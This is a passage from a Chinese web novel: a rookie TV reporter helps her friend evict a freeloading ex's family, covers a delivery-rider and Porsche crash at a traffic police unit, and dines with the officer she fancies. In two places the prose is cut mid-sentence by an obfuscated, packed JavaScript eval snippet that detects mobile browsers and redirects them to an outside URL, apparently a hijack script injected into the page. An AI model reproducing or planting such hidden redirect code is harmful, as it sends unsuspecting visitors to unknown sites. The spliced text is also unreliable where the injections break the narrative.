在车上的时候,就反复练习诸如“限你们30天内搬走”、“法院见”、“去公证”之类既要气势足,也得把需要方松丞配合完成的事项通知到位的话术。 她还从包里掏出了几份装订好的,彩印的类似宣传单的东西,并很为自己的准备充分得意。 “人手一份,可以反复阅读。怕方松丞的家人文化水平太低看不懂,还标注了拼音的。” 一切就绪,气势汹汹地开锁进门,对上的是正在客厅里热热闹闹吃烤肉的一家人,各自嘴边挂着油,端着碗惊愕地看着他们三人。 事后戚许复盘,由于室内气氛过于融洽,那一瞬间她竟然有种自己是不速之客很打扰的感觉。 但她也得承认,在孟雪乔亲口单方面宣布分手赶人之前,那家人对他们态度还是亲昵且热烈欢迎的。 方松丞的妈简直像找到了自己失散多年日思夜想的亲闺女,迅速地上来搂住了孟雪乔,即使这些天,她根本没试图联系过这个亲闺女,否则会发现自己的联系方式已被全部拉黑。 他们三个人连鞋都没有换的杵在门口,等待孟雪乔进行最终“宣判”,而戚许还很贴心的关上了门。 预期中的高|潮按时发生,她们留战斗力最强的邵珩以一敌众,同时争分夺秒、目标明确地往整理箱里装东西。 整个过程只花去十几分钟,戚许检查一番之后对邵珩比个OK手势,他们就准备从这场混战里抽身。 房本上方松丞的名字还没去掉,这时候报警说他们私闯民宅并不成立,虽然戚许真的很想亲眼目睹这家人如何被执法人员扫地出门的。 方松丞的妈和他本人追到了电梯口,一个是眼尖看到了孟雪乔取走的首饰,非常自然地认定那是她儿子所购买的,拿走就等于打劫;而方松丞还在试图解释,不耻下问,是否孟雪乔对他有什么误会。 邵珩挡在孟雪乔身前,诸多原因加成之下,他对这人简直厌恶到不行。 “不存在任何误会,什么原因要跟你分手刚也已经说的很明白了,现在只是不想听你辩解也不需要你改,只需要你配合分手,把你一毛钱没出过的房子还给人家,我又说了一遍,你听清楚了吧? 还有,不用想着去学校闹或者找她父母闹,你也是有正经编制的,而且你们单位应该还没有学校风气宽松吧?你如果很希望你的同事们都知道你的为人,以后再没人帮你介绍能让你搭青云梯的对象,那你随便,但你这么鸡贼,不会愿意把路走死的,是吧?” 把面如菜色的方松丞和不依不饶的方妈都挡在外面,电梯向下运行的时候,孟雪乔长长嘘出一口气。 邵珩回头看了孟雪乔一眼,表情屈辱,因为她,他才得沦落到要跟方家这一群不堪的人打交道。 “你下次,还是好好挑一挑,别那么着急结婚,伤筋动骨一百天。” 孟雪乔回以白眼。 各自抱着箱子走出单元门。 下午两点,天气晴好,暑热虽未褪,周围却灿然一新。 ** 戚许一个月没有能和况野见面,首先因为她很有气节地没有存他任何的联系方式,其次就是,成为一名媒体打工人,真的早出晚归忙死,虽然她还只是个没过实习期的新人。 九月底,戚许迎来了自己的第一次外拍。 电视台跟交警队合作的节目顺利上线,分为《直击一线》、《以案释法》、和《交警故事》三个板块,在电视台和短视频平台同步更新。 戚许这次要出的现场,是一起外卖员逆行与豪车相撞的交通肇事。 接到通知之后,她和摄制组的同事带好装备,立即出发去交警队。 车上,戚许了解到目前的情况——根据现场附近摄像头和女车主行车记录仪拍摄结果显示,这起事故是由于外卖员逆行在车流间快速穿梭,未能及时刹车导致与正常行驶中的一辆保时捷轿车发生了碰撞。 应属于外卖员全责。 事故发生当时,原本女车主下车查看后,并没有立刻报交警处理,而是态度良好地与外卖员协商修理费用。 但外卖员认为,女车主报出的修理费用过高,且因为事故,电动车需要送修,他本人也受伤严重,修车、养伤期间无法送餐造成收入受影响,女车主反而要向自己支付误工费。 因实在无法达成一致,外卖员普通话又极其不标准,沟通效率低下,女车主无奈之下,拨打了交警电话。 所幸,因保时捷轿车车速不快,外卖员目测受伤不严重,交警就把相关车辆和两人都带到队里处理。 交警队认为,这起事故很典型,如果放到电视节目里播出,会有较强警示意义。近两年,外卖骑手为准时配送、多接单,在送餐途中危险行驶,给骑手自己和路上行人、车辆带来了不容忽视的安全隐患。 抵达交警队,在下车前,戚许已经拟好了一份报道提纲。 同事准备机器的时间,她简单补了个妆,依然是手机前置摄像头扫一遍没问题,那就确认妆容OK。 摄像机开机,戚许几个深呼吸进入状态。 “观众朋友们下午好,我现在所处的位置是......”镇定,保持语速均匀,注意表情管理。 一段开场词说完,总体表现还不错,摄像大哥喊了声OK,端着机器在交警带领下,跟戚许一起去往事故科。 一边走,交警继续给他们介绍情况,“这次处警的两名交警是我们队里的况野和刘金柱,到达现场之后第一时间疏散围观人群,恢复事故现场附近正常同行,将两名交通事故当事人和涉事车辆带回队里。由于双方情绪都比较激动,我们的两名交警正在努力地进行斡旋和协调。” 况野...不善言辞...从中斡旋。 戚许质疑,这是能产生关联的几个词吗? 叫嚷声隔着门透出来,带路交警继续:“目前呢,外卖员坚持认为自己一方是弱势群体,即便我们已经明确告知判定他全责,他仍然认为机动车应无条件礼让非机动车,同时呢,对保时捷车主进行了辱骂。” 门被推开,摄像大哥镜头对准情绪激愤的双方。 录了几分钟的吵架素材,戚许接下去的流程是分别采访处警的交警和两个当事人。 况野在焦头烂额中转身,一眼看到了正拿着话筒带着点笑意看着他的戚许,走过来打招呼。 “嗨。” 还行,有进步,不然按照他的老派作风,应该会说“来了啊”或者“你好”。 “哈喽,况警官,”她举了举话筒,“我来采访,《交警在线》这节目,你知道的吧?” “嗯。” 一个月没见,她今天给人的感觉是清爽。 简洁的白衬衫袖口挽着,天蓝色牛仔九分裤,露出的手腕脚腕仍是伶仃纤细的,脚上是衬衫同色纯白运动鞋。 胸前挂着工作牌,最主要的是,她剪短了头发。 况野不知道那应该叫做什么发型,发尾到锁骨的位置,颜色也染黑了。雪肤乌发,给她增添了一点学生气。 她的伤也好了,万幸,没有留疤。 “那你和你同事准备一下,一会儿会问你们几个问题。” 戚许随口说,“刚才那段估计剪片老师会放在预告里,够激烈,吸引眼球嘛。”这么一想,她的荧屏首秀没准儿收视率会很不错呢。 况野嘴唇翕动,最终还是没有开口。 戚许看到他有一点担忧的神色,以为是他不了解节目制作,直面镜头有些紧张。“你放心啦,除了你和你同事,两个当事人上镜,都会给他们打码的,而且我刚也征得了他们的同意,两人都觉得有话要说,倾诉欲望挺强烈的。可能...也都觉得自己委屈,想发出来让大家都评评理。” 算了,不要因为自己的一点恻隐,影响人家正常的工作。 况野这样想着,只点了点头算作回应。 交警队提供了一间空置的会议室作为场地,十几分钟后,采访正式开始。 事故双方当然各执一词,拣对自己有利的说。 戚许却发现,他们的话不但不冲突,反而能够互为佐证,拼凑到一起,就是完整的整个事发经过。 最后需要交警“总结升华”一番。 戚许猜测,跟况野一起的年轻小辅警,应该比她还要小两岁,顶多也就是大学刚毕业,一张娃娃脸,肤色晒得黑红,说话有轻微的口音,导致整体气质让人感觉很憨厚。 他面对镜头明显有些局促,一双眼睛乱瞟,戚许叫摄影大哥暂停,递给他一瓶水,冲他微笑着鼓励。 小辅警黑红的脸更红,接过水抿了几口。 再次开机,况野语调平稳,表情如常,通报目前最新的处理结果,同时再次提醒大家,避免相同的危险行为,保护自己及他人的生命安全。 然而,刘金柱接下来话锋一转,为外卖员说起好话来,戚许拿不准他到底是不是这个意思,就多听了一会儿。 按照刘金柱的说法,外卖员是迫于生计才会做出这种危险行为,态度恶劣也是担心没有收入,家里妻儿的生活会有困难,所以一时失去理智,口不择言,他们努力的方向还是争取到保时捷女车主的谅解,大事化小。 而旁边的况野并没有阻止他,代表的是默许。 戚许觉得不对劲了,这样的态度,太不客观。 播出之后,很容易使观众感觉,他们在偏袒外卖员。 结束之后,她提出自己的看法。 “一开始女车主象征性地提出800元的赔偿,被外卖员一口回绝,并指责她讹人,这是事实吧?” “外卖员污蔑女车主被人包养,这也是事实吧?” “怎么‘我弱我有理’这种事在哪儿都能发生,你们还在助长这种风气?”也许这算是迁怒,戚许觉得这跟方松丞一家以“老实巴交的农村人”自居,要求孟雪乔多付出是一个性质。 “你们要做的就是秉公处理,让看节目的观众了解危险行为的严重后果和所需付出的代价。在你们的促成下,轻轻揭过去,只能让更多的人抱有侥幸心理,而且也会让观众觉得,你们执法不够公正。” 况野眼见刘金柱面露不服,重重按了他肩膀一下,又眼神示意他先不要说话了。 他把戚许拉到外面走廊,想要和她解释一下。 这外卖员他们队里好几个人都认识,但替他说情绝对不是为熟人徇私。 他就是送这一片区的,所以也来交警队送过餐,况野几个同事有烟瘾,有时手头正好没烟了,又懒得自己跑一趟去买,就会让他送餐的时候帮忙多跑趟小超市买完一起带过来,这外卖小哥都很好说话地帮忙带了,收到打赏还会特别真诚地道谢。 所以时间长了之后他们熟了起来,才知道他们一家是因为孩子生病,一直在医大附属医院治疗,才会暂时生活在森城的,原本是邻近地级市下属的农村。 为了给孩子看病,家里地卖了,失去了种地的收入,两口子也没什么文化,就男的干起外卖员,女的做保洁,即使很努力,生活仍然艰难,看病花费不菲,他们还欠着亲戚朋友们的外债。 刘金柱老家跟外卖员在同一个地方,加上也是农村孩子,特别能共情。 戚许说的都没错,他们也认为一开始女车主提出800元赔偿,外卖员应该见好就收,一打眼儿就得五位数的修理费,800元真的只是象征性的。 但同时,800元也是外卖员一家三口一个月的生活费,这个数字对他来说同样惊人,不能接受。 “金柱的意思是......”况野解释的话还没说,就旁边响起的尖利女人哭嚎声打断。 两人一齐转头,看到一个中年女人,同样的情绪激动,喊着“腐败!”“欺负老百姓!”朝他们这边过来。 戚许猜测,这是外卖员的家人,不知是谁通知的她。 中年女人停在两人身前,仔细瞧了戚许的工作证,又抬眼看她的脸,确认了证件上是本人之后,哭声更大。 “记者同志,我要曝光!交警腐败啊,接受了有钱人贿赂,帮着他们欺负我们老百姓!” 她说着,要来抓戚许,想要带她当个见证,去找人当面对质。 况野赶在她碰到戚许之前挡住她的手,语气冷硬,“投诉建议在那边。” 应该是听到了女人哭喊声,会议室的门从里面被推开,外卖员站在门口。 见到自己丈夫身上挂彩的女人扑上去,下一秒又爆出尖叫,“你怎么晕倒了?他爸,他爸?!” 场面再度混乱起来,况野蹲下身轻轻扒开外卖员眼皮,“是昏厥了,不知道是不是摔倒时候磕到了脑袋,叫120吧!” 行吧,今天的采访有个不甚完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599517|172009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美的收场。 戚许现在也觉得头昏脑涨,得回去理一理思路。 摄像大哥已经收拾好设备,正拨出电话准备让司机刘师傅来接他们回台里。 不料,电话接通,那边的刘师傅说,因城北区的宏图物流园失火,他被临时抽调送小吴他们去那边了,现在赶不过来。 宏图物流园......戚许听到这几个字,顿了下,问摄像大哥。 “刘师傅说那边情况严重吗?” “消防已经去了,不过火还没完全灭,也不知道集装箱里是什么易燃物品,倒是没造成人员伤亡。” 戚许想着,既然这样,他们直接叫辆车回台里也行,便直接打开网约车软件。 摄像大哥阻止她,“咱们这媒体民工,本来工资就没几个钱,回头报销还费劲。”他见昏倒的外卖员已经被救护车接走,交警队已经恢复正常的工作秩序,建议道:“要不,让他们派辆车送咱们俩回去?” 做这档节目对交警形象也能起到一定的正面宣传作用,他们现在合作,应该属于友好单位,这点小事应该不在话下吧。 他看戚许跟况野像是之前就认识的,算熟人了,更好说话,让她去问下。 戚许答应着,去找况野。 况野跟刘金柱还在会议室里,把桌椅重新归位,喝空的矿泉水瓶收到一起,准备拿给保洁阿姨,她会定期去卖废品。 刘金柱吐槽:“那个女记者,真是不近人情。” “她只是不了解老张家的情况。” “我看才不是,我看过她带的那腕表的广告。野哥,咱们不吃不喝攒一年工资都买不起。我看她应该和那女车主是一类人,有钱人,不接地气。 而且严重缺乏同情心,这就像那个短视频里说的什么,垄断,她这样的人是不会替穷人发声的,毕竟理解不了也没有好处可拿。 野哥,你跟她不是朋友吧?” 况野没有继续反驳刘金柱对戚许的指责,这孩子有点头脑简单四肢发达,容易被洗脑,他之后如果有机会跟戚许接触,就会知道她不是这样的人。她能对小动物那么有爱心,内心肯定特别柔软。 他认真思考了一下最后一个问题,然后很有自知之明地回答:“应该还不算。” “行了,收拾差不多了,走吧。” 他们提着一塑料袋捏扁的矿泉水瓶,推开门。 戚许正站在门口,直直地看向况野。 刘金柱觉得她的表情很不好形容,漠然?气愤?好像都不太对,反正他察觉到了四周的空气瞬间冷飕飕的。 撂下一句“野哥,我先干活儿去了”,抢过况野手里的塑料袋就一溜烟消失掉。 况野用力攥了下拳头,又松开。 之前戚许评价刘金柱的采访内容时候的表情的确严肃认真,但他能感受到那是她对自己工作的态度。 她现在看他的眼神里充满了陌生和疏远,这是对他这个人的态度。 戚许只说了句“算了”,转身离开。 况野追上去,前方的摄像大哥看到他,朝他招手。 “况警官呐,送我们一趟?” 况野一口答应下来,戚许别别扭扭的阻止无效。 他去跟队长说了一声,取了车钥匙。 “走吧。” 到停车场,况野解锁车,戚许一头钻进了后座。 摄像大哥抱歉地对况野笑笑,机器放到后备箱,他坐在了副驾驶。 觉得两个人都在后面不好,像拿人家当司机一样。 一路上,戚许一言不发,摄像大哥跟况野随口闲聊,中间说起了今天这起交通事故。 况野知道戚许也能听到他们说话内容,将外卖员的家庭情况拣重点装作无意地讲了一些,引得摄像大哥唏嘘。 他又单方面批评了刘金柱的所有言论,并表明自己绝对不支持他所说的。 抵达电视台,大哥绕到后面开后备箱取东西,戚许下车,并不准备跟况野打招呼,径直往大楼门口走。 “戚许!”身后有人喊,她回头。 朝她匆忙跑过来的,竟然是天杀的方松丞。 摄像大哥凑过来问她,需不需要帮忙。 戚许看了下时间,已临近下班,没必要耽误人家时间,再说在电视台大门口,她也不怕方松丞能把她怎么样,就让大哥先回去了。 况野回到车里,看到戚许和一个年轻男人找了个围墙边不晒的地方说话,鬼使神差地没有立即启动车,虽然他也不知道,想观察出个什么结果。 方松丞今天来找戚许的原因很简单,他去学校找了孟雪乔多次,但因为有邵珩的威吓,他没敢大张旗鼓的闹,孟雪乔一直躲着他,他都没有能跟她说上话。 联系孟雪乔的父母,他们也表示这次对他俩的事情无能为力,他们劝过女儿,但是她实在不肯继续和他在一起,他们总不能硬逼,再说他们现在也分不出空闲管,孟雪乔哥哥家的双胞胎占据了他们几乎全部的心力和时间。 他陪家里人看电视的时候,看到一档节目后面的采编人员里有戚许的名字,之前听孟雪乔说过,戚许回国之后想考去她妈妈之前所在的单位。 “所以你来这儿找我?” 方松丞点头。 “还有闲心看电视,你也没你自己形容的过得那么焦灼,家搬得怎么样了?” 方松丞这次来的目的,是想让戚许帮忙做孟雪乔的工作,把那套房子卖给他,但按照之前买期房的价格。原因是,他们家亲戚都以为这房子是他父母买来娶媳妇的,现在要搬走,很没有面子,他们筹了一些钱,应该够付首付的。 森城房价这一两年几乎翻倍,这要求很不要脸,戚许不用问孟雪乔就直接替她拒绝了。 方松丞其实有点怕戚许,她不像孟雪乔温柔,很多时候说话做事完全不给人留情面,尤其那双黑白分明的大眼睛像看某类昆虫一样盯着他的时候,他会莫名心虚和羞耻。 但是此刻狗急跳墙,孟雪乔和邵珩在一个学校,他不敢去。戚许说的话对孟雪乔来说作用很大,如果她能帮自己的忙,这件事还有一丝希望能成功。 戚许不想和他多废话,赶着回去收拾下准备下班呢,再说一会儿同事们都下来了,看到方松丞,再误会是她裹扯不清的前男友,那简直是对自己的莫大侮辱。 方松丞情急之下,拽住了戚许的胳膊。 “我求你,我爸妈因为这件事好几天都没睡好了。” “和我有什么关系,住在不属于自己的房子里当然睡不好了。” 方松丞咬一咬牙,正准备学着邵珩的样子也放些狠话,软硬兼施。 他身后就响起一道低沉但有力量感的男声,“放开!” 况野疾步过来,一把将他搡远。 7. 第七起 戚许坐在况野的副驾上说,“你不要以为又一次救了我,他很怂的,不敢真的把我怎么样。我只是不希望我的同事看到我和他在一起,毕竟他很会装,看起来是个正常人。” 况野比较在意的是,“所以他是?” “我闺蜜人品很烂的前男友。”其实还有很多定语可以加上的。 “不过我没空给你详细讲他们的故事,准备回去拿包打卡下班了,我刚想到,今天这起事故,即使老张是全责,需要赔偿,但他所在的公司应该有给骑手上保险的,所以不需要他自己支付这个费用。但看他的样子,很有可能是并没有购买保险,那就不仅涉及到交通事故,还有关骑手跟平台或者外包公司之间的劳务合同里是否有疏漏。” 戚许对劳动法不是特别了解,但直觉她应该揪住了一点不对劲的地方。 “我准备晚上重新梳理一下,查阅相关法律和案例,如果能帮到他们家就更好啦。” 她手搭在车门上,准备下车。 “你不是也还要回队里?你走吧。” 况野已经在刚才那几分钟决定好了,“我请两个小时假,送你回去。” 他解释:“他毕竟是个成年男性,体力上有绝对优势,而且听你描述,是个没什么底线的人。就算通过你解决不了什么问题,还可以把怒气发泄到你身上,通过伤害你来报复你闺蜜。” “咦,”戚许做出抖鸡皮疙瘩的样子,胳膊环抱住自己,“《法治在线》呐?森城一男子因不满女友与自己分手,报复其闺蜜泄愤。” “你做社会新闻的话,应该对这种事不陌生。” 戚许点下头,“好吧,通常这样的故事也都需要一个热心的警察。” “那你在这儿等我,我很快下来。” “不怕你同事看到你和我一起走?” 戚许伸出手指隔空点了下他,“你今天话很多。” 合上车门之前,回答他这个问题,“不怕他们看到,你比较帅嘛,不会丢我的人。” 再说,反正他们以后也会经常看到的。 戚许都没意识到自己好像已经不生况野刚没有反驳他同事说她坏话的气了,意气风发地返回工位。 整理材料、保存文档、关电脑,再背上自己的小挎包。 跟几个同事一起有说有笑地走出大门,有眼尖的看到倚在车边朝这边招手的况野。 “等你的?” “特地来接你,约会啊?” 戚许很假正经地澄清,“正常工作往来。” 又重新回到况野车里,他看了眼时间,“晚上想吃什么?” “不是说送我回家?”这真让人意外,戚许都没立刻反应过来,“你是要请我吃饭啊?” 况野语气依旧淡淡的,“金柱说话很冒犯,我替他跟你道歉。同时我也认为他对你的评价很不正确,没有立刻替你反驳,对不起。这孩子本质不坏,就是性格冲动,人又一根筋,他只是跟你不熟,不了解你,所以对你有误解。” 戚许意有所指地:“你跟我不也不熟。” “想好吃什么了吗?是不是得跟你姨夫姨妈报备一声,你不回去吃饭了。” 戚许正在打字的手指停了下,她正在微信上告诉姨妈晚上跟朋友一起吃饭的事。 “你记性还挺好的啊,我就随口提了一句和姨夫姨妈一起住。” “嗯。” 戚许打开点评网站的收藏夹,找出一家看过探店但没去过的湘菜馆,是一家人气很旺的苍蝇馆子。 “你能吃辣不?” 况野看了看那家店名和位置,开了导航。 “走吧。” 戚许系好安全带,在副驾噘着嘴斜视瞪着况野。 虽说是她单方面决定,之后要跟这个人谈一场会被外人美其名曰“对救命恩人以身相许”的恋爱,现阶段他不必完全做到她对男朋友的所有要求。但可能是家里已经有智障猫毛豆和欠儿登鼠皮皮珠玉在前了,她习惯了身边是事事有回应的对象。 况野这种“省略一切不必要发声”的模式,她不是很喜欢。 晚高峰稍微堵了一会儿,到达湘菜馆附近,具体位置在一条窄胡同里,车开不进去。 况野在附近的收费停车场停好了车,两人步行过去。 还没门口已经看到排排坐在塑料凳子上排号的人,戚许赶紧小跑两步,抢在几个正往门口走的食客前面,在发号的服务员小妹手里拿了一个双人台的等位号码。 她拿着号码牌跑回况野面前,他已经找了两只空凳子。 戚许扬了扬手里的号码,“能早几位也是好的。” “是啊。” 戚许自己是愿意为了味道牺牲其他方面,比如环境、服务这些的,但她不确定况野是不是也一样。 “就算这样,还是至少要等40分钟,你如果有别的事或者不想等,没关系,我自己吃也可以,谢谢你送我过来。” “我没事,晚上也就是回家、遛狗、洗澡、睡觉。” “懂,老年人作息,科学又规律。不过,你也养狗?” “是我领养的退役军犬,我退伍的时候它因公负伤了,伤好后可以退役,我就申请领养了它。” “看看照片。” 况野拿出手机,翻着相册里的照片给戚许看。 “大德牧啊,真漂亮。它几岁了?” 况野嘴角浮出一点笑意,“快要十周岁。” 戚许很懂他这种表情,有人夸奖她的猫鼠,她也会露出这样的慈母笑,自己养大的孩子,有成就感嘛。 接下去,话题变成了宠物专场,因两人养的都是身体有些问题的动物,很多方面都能感同身受。 况野将常去的那家,他觉得很靠谱的宠物医院推荐给戚许,戚许查看了一下网上的评价,几乎没有差评,于是加入收藏夹。 又顺着孟雪乔的狗子锅仔,戚许将方松丞一家的所作所为讲给况野。 末了,“我们没有冤枉他吧,这样的人家真的很可怕。” 况野赞同,“这不是经济问题,这是人品问题。” 服务员小妹在门口叫号,还有两桌就到他们了。 戚许叫况野帮她看着包,拿着手机起身往胡同外走。 “去干嘛?” “买点儿东西。” 几分钟后,戚许拎着便利店的袋子回来,里面是几瓶凉饮料,有果汁、豆奶和牛奶。 况野说:“店里应该都有的。” 戚许把袋子塞到况野怀里,“但是店里的价格会至少贵1/3。” 她不清楚交警的收入情况,但观察得出,况野平时应该生活习惯蛮节俭的,所以只是单纯想让他省点钱。 “那买牛奶是因为?” 前面那桌可能因为等位时间太久放弃了,服务员喊了几声发现没人,直接顺延到下一个,是他们俩。 “走吧,进去。” 戚许神神秘秘又胸有成竹,“牛奶的作用嘛,一会儿你就知道了。” 店里环境比店外还要逼仄,两人的卡座窄到坐下之后站起身都要撞一下桌子的程度。 服务员拿来不知道用了多久的塑封上油乎乎的菜单,况野让戚许点菜。 估摸着点了两个人够吃的,戚许叫服务员下单。 这家上菜的速度挺快,二十分钟,三菜一汤上齐,菜码不算大,所以应该都能吃得完。 米饭是自助的,因自己体型较况野小很多,比较灵活,戚许拿着两个人的碗去盛了饭。 相机先吃,戚许“咔嚓咔嚓”拍好,调了个看着更鲜亮的颜色,发给孟雪乔。 开吃之后,况野就明白了牛奶的作用。 他挟着一筷泡椒牛肉,看戚许面不改色咀嚼,以为顶多就是康师傅香辣牛肉面的程度。 结果——他被辣到整个口腔几乎要着火,脸色涨红,青筋暴起的时候,戚许递来了冰牛奶,在对面一脸坏笑。 “你看起来就很不能吃辣,所以给你准备的,牛奶能解辣。” “谢谢。”况野赶紧接过来,拧开瓶盖几大口下肚。 况野生平第一次尝试这种辣度,火烧火燎的劲儿过去之后,发现竟然还有点对那种感觉上瘾。 擦了擦额头和鼻尖的汗,继续吃起来,反正牛奶有一大瓶,够他喝到吃完这顿饭的。 “你还行吗?但是他家不辣的菜也没有什么......” “我觉得很好吃的啊,不用单独给我点。” 况野状态看起来很真实可信,戚许也就依他了。 两人都吃得半饱之后,进食速度明显下降,继续聊起来。 “你有这个心得是因为,以前吃辣能力也一般,用牛奶解辣练习出来的?” 戚许松开果汁瓶里插|着的尖端被她咬瘪的吸管,笑着说:“当然不啊,练习这个干嘛,我是遗传我妈,我小时候我们去吃川湘菜的时候,我爸......”她提到了一个不应该提的人,停住话。 爸爸一个完全不吃辣的人,愿意陪着妈妈吃她喜欢的,妈妈就会给他准备牛奶。 是她记忆里面,一件很日常的,微不足道的小事了。 “没什么,牛奶解辣,是小时候我妈告诉我的。” 戚许是不会允许这种偷袭她的伤感情绪继续影响自己的,所以她迅速转移注意力并且成功找到了一件能够津津乐道的事。 因店内空间局促,几乎每张桌子都紧挨着,所以他们跟隔壁桌的距离,近到可以听得清对方在说什么。 那一桌也是双人台,跟他们这边一样,坐着一对男女。 不过人家是挨在一起,坐在同一侧的。 一开始,戚许也没有想偷听别人说话,只是余光里的俩身影一直以亲密无间的姿态黏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599518|172009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一起,不知道是来吃饭还是来吃对方的,像极了春天的非洲大草原上的各种发|情野兽。 她便转头过去观察,好奇什么原因至于饥渴成这个样子。 发现这一对的年纪应该都在四十岁上下,穿着打扮推测,就是经济条件很普通的工薪阶层。 带给人不适感的源头是,就连正常吃饭,女人都得搂着男人的胳膊,还幸好那男人是左撇子,不然都影响进食。 戚许本来也只是感慨,原来还是有人到中年感情依然很好的老夫老妻,但他们说话的内容传进她耳朵,她才咂摸出其中的不对劲来。 为了防止是自己主观臆断,她还歪着身子竖起耳朵多听了一些,直到出现“你老婆”、“你老公”“他夜班”之类的标志性词汇,才确定这两个人在搞婚外情。 吼吼,有趣。 她勾了勾手指,叫况野凑近些,想跟他分享自己刚发掘的这场八卦。 况野往前欠身,“怎么?” 戚许兴奋地告诉他结论,眼睛朝那边瞟了瞟,示意他。 “我相信我职业的敏锐性。” “还有,那男人真不是东西,攒了私房钱给这女的发红包,自己儿子学校交费还让跟老婆要。” 况野也配合地压低了声音,“怎么看出来的?” 戚许吸取教训,不想也被隔壁桌听到自己正在讨论他们,伸手揪住况野衣服领口,把他往自己这方向又拽了拽。 手拢在他耳边,跟他复述自己全程的偷听、观察内容,她甚至推测出了两个人的职业和可能的这段关系的发展轨迹。 其实她也知道自己这样有些无聊,她不是警察,也不是道德卫士,管不了什么,再说管了也没什么用,这世界也不会因为她去干预一起婚外恋而变得更好。 不过她从小就这样,好奇心和表达欲极其旺盛,幸好身边的人都从没打击过她。 她说完,松开况野,不无得意地给自己夹了一块土匪猪肝,加一勺擂椒皮蛋和米饭和在一起,准备送进嘴里。 “怎么样?我说的是不是很有道理?” 况野有些心不在焉地点头。 他没有不尊重人,故意走神,但的确没怎么听戚许说话。 因为,刚刚那一分多钟,她趴在他耳边说悄悄话,嘴唇会有意无意擦过他的耳尖。 戚许很有外貌包袱的一个人,时刻注意自己形象的,两人离近之前有特地擦嘴,只是唇膏也一并被擦掉了。 况野记得,有人说耳朵上的神经并不发达,所以感觉也并不敏锐。 可他很确信,那一处微末的皮肤,能清晰地感知到戚许唇瓣上的纹路,间或的摩擦,每次碰到,他的心脏都像是猛地向上顶了一下。 还有她呼出的气息,是因为菜的辣度才会那么灼热吗? 他的全部精力都得用在让自己维持表面平静上,所以对戚许的话可谓一无所知。 ** 况野的不自在持续到这顿难捱的饭吃完,终于身体像是重新回到他的掌控。 戚许回去还有些工作要做,所以像之前说好那样,况野直接送她回家。 这家饭馆跟姨夫姨妈家是两个方向,车程有点长,况野上车时习惯性打开了广播。 他也无所谓听些什么,他时常被嘲笑是个跟时代脱节的老年人,不看短视频,流行歌曲和歌星叫不出名字。 开车大多数时候都是去出现场,会跟同事一起听交通广播。 戚许一开始跟他说些,投稿给他们的有意思的线索,后来听着喁喁的电台声音,慢慢靠着头枕睡着了。 像第一次带她去医院那次一样,况野关掉了声音,调高空调温度。 到小区门口,很轻缓地叫醒她。 戚许迷蒙着:“我又睡着了啊。” 她从后座抓起自己的包准备下车,况野叫住她,警惕地在四周打量一圈。 “我们交换一下电话,还有微信。” “如果他再来骚扰你,动手动脚,你不方便报警的,可以联系我。” 戚许握着手机,语气玩味:“你就方便来?” “我尽量,如果离得太远,可以请附近支队的同事帮忙。”他没有出过国,也知道目前现行法律的限制令,对戚许这种情况不起作用。 “那好吧,这可是你主动要加我的。”自认为算得上暂胜一句的戚许有点小雀跃。 况野利索地存好电话号码,扫码加上戚许的微信好友。 戚许偷瞄他的备注。 好吧,就是平平无奇的,名字。 况野的头像就是他的那只大德牧,名字叫拉登的。 回去再翻阅一下他的朋友圈吧,今天这进步还可以了。 戚许很乐观地心满意足了,下车,关上车门。 “拜拜!”就不说再见咯,因为事实证明,这是一件必然会发生的事嘛。 8. 第八起 戚许这晚跟孟雪乔语音电话打到半夜。 孟雪乔揶揄:“你消气还挺快的嘛。” 戚许将况野头像里的那只驯良的大狗照片发给她,“他看起来跟他的狗一样真诚,我姑且相信他。” 孟雪乔搬到邵珩之前一直住的教师宿舍楼也有段时间了,新生活是出乎她预料的顺利舒适。 每天按时遛狗、步行上下班、不想做饭的时候就在食堂解决一顿。唯一弊端大概是,邵珩隔三差五会来蹭饭,这孩子很难伺候,指定好要吃什么,有些她不会做的还得现学。 而她做饭又实在算不上快,这种时候,邵珩会坐在开放式厨房的吧台前,对着他的笔记本敲代码,间或点评几句她新购置的软装。 一边嫌弃风格过于可爱温馨,一边每次上门的时候都会给她带几个某网红品牌的贵价玩偶。 戚许坚持做空中蹬自行车动作:“我看你俩都挺拧巴,一边吐槽一边还巴巴凑上去。” 孟雪乔不承认,“那是你对你的况警官。” “我昨天跟你视频,那些小玩偶不都被你摆在床头了?还按水果、蔬菜、动物这样属性分好组的。” 孟雪乔庆幸戚许此刻看不到她,因为她怀里正抱着一只茄子,“那是人家品牌的功劳,产品做得可爱嘛,跟谁买来的没有关系。” “行吧,”戚许结束运动,又发了在况野朋友圈转发的一则户外俱乐部的活动宣传广告过去,让孟雪乔帮忙分析。 “他是碍于面子帮人转发,还是自己本身也爱好户外运动。或者,他也是这家俱乐部的会员?” “按照你说的,他老好人的性格,帮人转发很有可能。你又说他身材很好,那应该有坚持健身,爱好户外也不是没有可能。” “姐姐,所以你说了一句正确的废话。” “所以你问一个只有失败的恋爱经验的人。”是的,就算没有方松丞,孟雪乔之前的,按照她爸妈设定模板的恋爱对象,结果也都不怎么好,无一例外,均收获男方一堆差评,而她没什么感觉的被分手。 戚许觉得孟雪乔有一点去说自嘲类型脱口秀的天赋,因为自己就能够很轻易地被她的冷幽默逗得哈哈大笑。 